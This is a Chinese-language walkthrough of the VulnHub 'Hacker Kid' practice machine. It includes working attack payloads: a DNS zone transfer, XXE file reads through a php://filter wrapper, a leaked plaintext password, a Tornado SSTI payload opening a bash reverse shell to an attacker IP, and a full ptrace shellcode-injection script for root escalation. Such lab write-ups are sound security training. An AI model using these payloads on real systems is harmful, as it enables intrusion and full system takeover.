靶机地址
https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
目标
取得 root 权限
攻击方法
- 主机发现
- 网络扫描
- WEB信息收集
- DNS区域传输
- XXE注入攻击
- PHP封装器
- SSTI模板注入
- Capabilitie提权
工具
nmap
步骤
主机发现
nmap扫描nmap 192.168.1.0/24
获取具体服务信息nmap -p53,80,9999 -sV 192.168.1.13
关注到53为域名服务,80为apache,9999为tornado
Tornado是一个 Python Web 框架和异步网络库,最初是在FriendFeed开发的。通过使用非阻塞网络 I/O,Tornado 可以扩展到数万个打开的连接,使其成为 longpolling、 WebSocket和其他需要与每个用户长期连接的应用程序的理想选择。
Tornado大致可分为四个主要组成部分:
1. 一个 Web 框架(包括RequestHandler创建 Web 应用程序的子类,以及各种支持类)
2. HTTPServerHTTP(和 AsyncHTTPClient)的客户端和服务器端实现
3. 一个异步网络库,包括类IOLoop 和IOStream,它们充当 HTTP 组件的构建块,也可用于实现其他协议
4. 一个协程库 ( tornado.gen),它允许以比链接回调更直接的方式编写异步代码。这类似于 Python 3.5 ( ) 中引入的原生协程功能。如果可用,建议使用本机协程代替模块。async deftornado.gen
Tornado Web 框架和 HTTP 服务器一起提供了WSGI的全栈替代方案。WSGIContainer虽然可以将Tornado HTTP 服务器用作其他 WSGI 框架的容器
tcp的53端口通常用来做域名服务器之间的同步通信使用
日常使用的是UDP端口
猜测服务器的53/udp端口也开启
nmap扫描53/UDPnmap -p53,80,9999 -sU 192.168.1.13
检索发现BIND存在多个漏洞分别为
CVE-2021-25216 缓冲区溢出
CVE-2021-25220 DNS 转发器缓存中毒漏洞
CVE-2020-8617 拒绝服务漏洞
CVE-2020-8625
但以上均无exp
尝试web攻击
访问80端口
考虑在暗示dig命令
dig命令详解
继续浏览,点击app发现跳转为
删除“#”,发现
猜测为例子界面。
浏览后发现form和app界面都没什么利用点。
之后审计页面源码,重点关注外部链接,注释可能会忘记删除注释。从而暴露api,隐藏接口,表单等。
发现注释
尝试请求发现http://ip/?page_no=21
时出现一行小字
知道使用hackers.blackhat.local
域名即可访问。
为了将域名和IP绑定修改hosts
再使用dig命令发现所有dns主机记录dig axfr @192.168.1.13 blackhat.local
将dig命令发现的域名加进hosts文件中
之后访问http://hackerkid.blackhat.local/
和9999端口
尝试利用
在http://hackerkid.blackhat.local/
页面注册,但发现怎么也注册不成功。
于是观察发现传输是xxe文件,于是尝试xxe攻击。
成功回显。
发现存在admin和saket
已知用户下会存在隐藏文件
尝试读取saket的隐藏文件,发现在/home/saket/.bashrc
下存在账号密码。发现直接读取失败
使用上一章讲过的封装器来封装以base64传输<!DOCTYPE ANY [<!ENTITY content SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
【备注】是否可尝试xxe直接rce?
发现账号密码
登录9999端口。发现admin不行,尝试用户名为saket,密码Saket!#$%@!!。
成功登录。
于是传参name
尝试sql注入失败。
尝试模板注入SSTI
再次观察,发现每次都会返回输入,猜测存在模板注入(ssti)。信息收集阶段知道使用了Tornado框架,可直接查看Tornado框架的模板。
Tornado框架-模板语言的三种方式
tornado官方文档-模板和用户界面
测试模板注入的通杀payload!!
{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
针对Python:{{1+abcxyz}}
针对PHP:${1+abcxyz}
针对JAVA:<%1+abcxyz%>
abcxyz:尽量使用无规律、服务器上未定义的字符
执行后发生报错。
可以确认存在模板注入。
反弹shell
使用{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.104/7777 0>&1"')}}
反弹,并在本机7777端口监听。
但发现报错,将payload编码后在上传。
%7B%25+import+os+%25%7D%7B%7Bos.system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.0.104%2F7777+0%3E%261%22%27%29%7D%7D
成功拿到反弹shell。
capabilities 提权
本靶机较新,能打的补丁都已经打了。
在linux内核版本2.2以上引入了capabilities功能。
使用capabilities提权
capabilities权限管理文档
使用getcap
查询许所有应用程序有没有capabilities权限/sbin/getcap -r / 2>/dev/null
cap_sys_ptrace是系统进程动态调试跟踪的进程。可进行系统调用,修改功能。
使用ps -U root
或ps -aef | grep root
查看系统中以root运行的进程id以apache2进程为例
《inj.py》脚本默认以root权限开启5600端口。
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
可以看到运行脚本后开启了5600端口
直接使用nc连接5600端口
打完收工!